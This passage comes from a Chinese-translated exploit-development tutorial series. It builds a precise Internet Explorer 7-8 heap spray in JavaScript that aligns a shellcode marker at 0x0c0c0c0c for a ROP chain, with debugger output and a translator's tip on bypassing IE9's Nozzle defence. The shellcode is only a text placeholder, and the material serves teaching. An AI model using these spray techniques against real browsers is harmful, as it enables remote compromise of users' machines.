- 第一部分: Introduction to Exploit Development
- 第二部分:Saved Return Pointer Overflows
- 第三部分:Structured Exception Handler (SEH)
- 第四部分:Egg Hunters
- 第五部分:Unicode 0x00410041
- 第六部分:WIN32 shellcode 编写
- 第七部分:返回导向编程(ROP)
- 第八部分:堆喷射第一节【覆写 EIP】
- 第九部分:堆喷射[第二章:UAF]
- 第十部分:内核利用程序之栈溢出
- 第十一部分:内核利用程序之任意位置任意写
- 第十二部分:内核利用程序之空指针引用
- 第十三部分:内核利用程序之未初始化栈变量
- 第十四部分:内核利用程序之整数溢出
- 第十五部分:内核利用程序之 UAF
- 第十六部分:内核利用程序之池溢出
- 第十七部分:内核利用程序之任意位置任意写
- 第十八篇:内核利用程序之 RS2 Bitmap 巫术
- 第十九篇:内核利用程序之 Razer
堆上的 Shellcode
如在第八部分中做的那样,我想先以 IE8 的一个可信堆喷射开始。继续此前的工作,我们使用下面的 POC。该 POC 有些轻量改动。最主要的不同在于我增加了一个 alloc 函数,它会将我们输入的 buffer 尺寸进行调整,以便于它们可以匹配 BSTR 的规格(我们需要扣除 6 以补偿 BSTR header 和 footer,除 2 是因为我们用的是 unicode unescape)。
<html>
<script>
//Fix BSTR spec
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
block_size = 0x1000; // 4096-bytes
NopSlide = '';
var Shellcode = unescape(
'%u7546%u7a7a%u5379'+ // ASCII
'%u6365%u7275%u7469'+ // FuzzySecurity
'%u9079');
for (c = 0; c < block_size; c++){
NopSlide += unescape('%u9090');}
NopSlide = NopSlide.substring(0,block_size - Shellcode.length);
var OBJECT = Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
alert("Spray Done!");
</script>
</html>
快速看看调试器,堆喷射都发生了什么。
Looking at the default process heap we can see that our spray accounts for 98,24% of the busy blocks, we
can tell it is our spray because the blocks have a size of 0xfffe0 (= 1 mb).
0:019> !heap -stat -h 00150000
heap @ 00150000
group-by: TOTSIZE max-display: 20
size #blocks total ( %) (percent of total busy bytes)
fffe0 97 - 96fed20 (98.24)
3fff8 3 - bffe8 (0.49)
7ff8 f - 77f88 (0.30)
1fff8 3 - 5ffe8 (0.24)
1ff8 28 - 4fec0 (0.20)
fff8 3 - 2ffe8 (0.12)
3ff8 7 - 1bfc8 (0.07)
ff8 13 - 12f68 (0.05)
7f8 1e - ef10 (0.04)
8fc1 1 - 8fc1 (0.02)
5fc1 1 - 5fc1 (0.02)
57e0 1 - 57e0 (0.01)
3f8 15 - 5358 (0.01)
4fc1 1 - 4fc1 (0.01)
5e4 b - 40cc (0.01)
3980 1 - 3980 (0.01)
20 1bb - 3760 (0.01)
388 d - 2de8 (0.01)
2cd4 1 - 2cd4 (0.01)
480 7 - 1f80 (0.01)
Listing only the allocation with a size of 0xfffe0 we can see that our spray is huge stretching from
0x03680018 to 0x0d660018. Another important thing to notice is that the Heap Entry Addresses all seem
to end like this 0x????0018, this is a good indicator that our spray is reliable.
0:019> !heap -flt s fffe0
_HEAP @ 150000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
03680018 1fffc 0000 [0b] 03680020 fffe0 - (busy VirtualAlloc)
03a30018 1fffc fffc [0b] 03a30020 fffe0 - (busy VirtualAlloc)
03790018 1fffc fffc [0b] 03790020 fffe0 - (busy VirtualAlloc)
038a0018 1fffc fffc [0b] 038a0020 fffe0 - (busy VirtualAlloc)
03b40018 1fffc fffc [0b] 03b40020 fffe0 - (busy VirtualAlloc)
03c50018 1fffc fffc [0b] 03c50020 fffe0 - (busy VirtualAlloc)
[...snip...]
0d110018 1fffc fffc [0b] 0d110020 fffe0 - (busy VirtualAlloc)
0d220018 1fffc fffc [0b] 0d220020 fffe0 - (busy VirtualAlloc)
0d330018 1fffc fffc [0b] 0d330020 fffe0 - (busy VirtualAlloc)
0d440018 1fffc fffc [0b] 0d440020 fffe0 - (busy VirtualAlloc)
0d550018 1fffc fffc [0b] 0d550020 fffe0 - (busy VirtualAlloc)
0d660018 1fffc fffc [0b] 0d660020 fffe0 - (busy VirtualAlloc)
0:019> d 03694024-10
03694014 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03694024 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90 FuzzySecurity...
03694034 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03694044 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03694054 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03694064 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03694074 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03694084 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:019> d 03694024-10+2000
03696014 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03696024 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90 FuzzySecurity...
03696034 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03696044 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03696054 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03696064 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03696074 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03696084 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:019> d 03694024-10+4000
03698014 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03698024 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90 FuzzySecurity...
03698034 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03698044 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03698054 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03698064 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03698074 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03698084 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
We are particularly interested in the address 0x0c0c0c0c. Since this address has been allocate on the heap
by our spray we can use the command below we can find out which Heap Entry 0x0c0c0c0c belongs to.
0:019> !heap -p -a 0c0c0c0c
address 0c0c0c0c found in
_HEAP @ 150000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0c010018 1fffc 0000 [0b] 0c010020 fffe0 - (busy VirtualAlloc)
下图是我们堆喷射的可视化显示。我们用 150mb 大小的数据填充了堆,这 150mb 被分成了 150 个 1mb 的块(每个块都以独立的 BSTR 对象存储)。该 BSTR 对象由 0x1000(4096 字节)的块填充,它包含了我们的 shellcode 和 NOP 指令。
到目前一切顺利!下面我们需要重组我们的堆喷射,以便于 shellcode 指针精准的放在 0x0c0c0c0c,这里将是我们的 ROP 链首。考虑到由于我们的堆喷射,如果 0x0c0c0c0c 在内存的某个地方被分配了,那么它在 0x1000 块的内部一定有一个特定的偏移。我们想要做的就是计算出 0x0c0c0c0c 到块首的偏移,并把这个偏移作为喷射的 padding。
________________________ ________________________
| | | |
| Shellcode | | Padding |
|------------------------| | |
| | | |
| | | |
| | | |
| | | |
| | <-- 0x0c0c0c0c |------------------------| <-- 0x0c0c0c0c
| | Points into our | | Points at the
| NOP's | NOP's. | Shellcode | beginning of our
| | | | shellcode.
| | | |
| | | |
| | | |
| | | [+ NOP's] |
| | | |
| (0x1000 Block) | | (0x1000 Block) |
|________________________| |________________________|
如果你重新运行上面的堆喷射,你会注意到 0x0c0c0c0c 并不总是指向同一个堆项,然而 0x1000 块到 0x0c0c0c0c 的偏移却始终是不变的。我们已经掌握了 padding 尺寸计算的所有信息。
0:019> !heap -p -a 0c0c0c0c
address 0c0c0c0c found in
_HEAP @ 150000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0c010018 1fffc 0000 [0b] 0c010020 fffe0 - (busy VirtualAlloc)
0x0c0c0c0c (Address we are interested in)
- 0x0c010018 (Heap Entry Address)
----------
0xb0bf4 => Distance between the Heap Entry address and 0x0c0c0c0c, this value will be different from
spray to spray. Next we need to find out what the offset is in our 0x1000 hex block. We
can do this by subtracting multiples of 0x1000 till we have a value that is smaller than
0x1000 hex (4096-bytes).
0xbf4 => We need to correct this value based on our allocation size => (x/2)-6
0x5f4 => If we insert a padding of this size in our 0x1000 block it will align our shellcode
exactly to 0x0c0c0c0c.
让我们修改 POC 并重新运行堆喷射。
<html>
<script>
//Fix BSTR spec
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
block_size = 0x1000;
padding_size = 0x5F4; //offset to 0x0c0c0c0c inside our 0x1000 hex block
Padding = '';
NopSlide = '';
var Shellcode = unescape(
'%u7546%u7a7a%u5379'+ // ASCII
'%u6365%u7275%u7469'+ // FuzzySecurity
'%u9079');
for (p = 0; p < padding_size; p++){
Padding += unescape('%ub33f');}
for (c = 0; c < block_size; c++){
NopSlide += unescape('%u9090');}
NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
var OBJECT = Padding + Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
alert("Spray Done!");
</script>
</html>
我们可以看到我们已经重组了 shellcode 到 0x0c0c0c0c。实际上当我们在内存中搜索字符串"FuzzySecurity"时我们可以看到所有的位置都以相同的字节序列"0x???c0c"终止。
0:019> !heap -stat -h 00150000
heap @ 00150000
group-by: TOTSIZE max-display: 20
size #blocks total ( %) (percent of total busy bytes)
fffe0 97 - 96fed20 (98.18)
3fff8 3 - bffe8 (0.49)
7ff8 f - 77f88 (0.30)
1fff8 3 - 5ffe8 (0.24)
1ff8 2b - 55ea8 (0.22)
fff8 4 - 3ffe0 (0.16)
3ff8 8 - 1ffc0 (0.08)
ff8 13 - 12f68 (0.05)
7f8 1e - ef10 (0.04)
8fc1 1 - 8fc1 (0.02)
5fc1 1 - 5fc1 (0.02)
57e0 1 - 57e0 (0.01)
3f8 15 - 5358 (0.01)
4fc1 1 - 4fc1 (0.01)
5e4 b - 40cc (0.01)
3980 1 - 3980 (0.01)
20 1bb - 3760 (0.01)
388 d - 2de8 (0.01)
2cd4 1 - 2cd4 (0.01)
480 7 - 1f80 (0.01)
0:019> s -a 0x00000000 L?7fffffff "FuzzySecurity"
[...snip...]
0c0c0c0c 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90 FuzzySecurity...
[...snip...]
0d874c0c 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90 FuzzySecurity...
0d876c0c 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90 FuzzySecurity...
0d878c0c 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90 FuzzySecurity...
0d87ac0c 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90 FuzzySecurity...
0d87cc0c 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90 FuzzySecurity...
0d87ec0c 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90 FuzzySecurity...
0:019> d 0c0c0c0c-20
0c0c0bec 3f b3 3f b3 3f b3 3f b3-3f b3 3f b3 3f b3 3f b3 ?.?.?.?.?.?.?.?.
0c0c0bfc 3f b3 3f b3 3f b3 3f b3-3f b3 3f b3 3f b3 3f b3 ?.?.?.?.?.?.?.?.
0c0c0c0c 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90 FuzzySecurity...
0c0c0c1c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0c0c0c2c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0c0c0c3c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0c0c0c4c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0c0c0c5c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
我们现在重组了堆喷射,且可以把 shellcode 放到选择的任意地址(本例中是 0x0c0c0c0c)。堆喷射在 Windows XP/7 上的 IE7-8 上运作良好。稍微修改一下也可以在 IE9 上运行,但这已经超出了本教程的范围。
译者注:IE9 引入了 Nozzle,但实际上非常好绕过,Nozzle 不允许毗邻堆块完全一致,绕过方法也很简单,每个 chunk 的 junk 值都不同即可(实际上修改 1 个字节即可)。另一方面,到了 DEP 的时代,0x0c0c0c0c 这个值已经丧失了原本的意义,原本用于 sled 的 0C 指令也就无需执行,改成什么其他的数都是可以的,这也要求我们的堆喷需要十分精准的到 ROP 链首,exactly。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论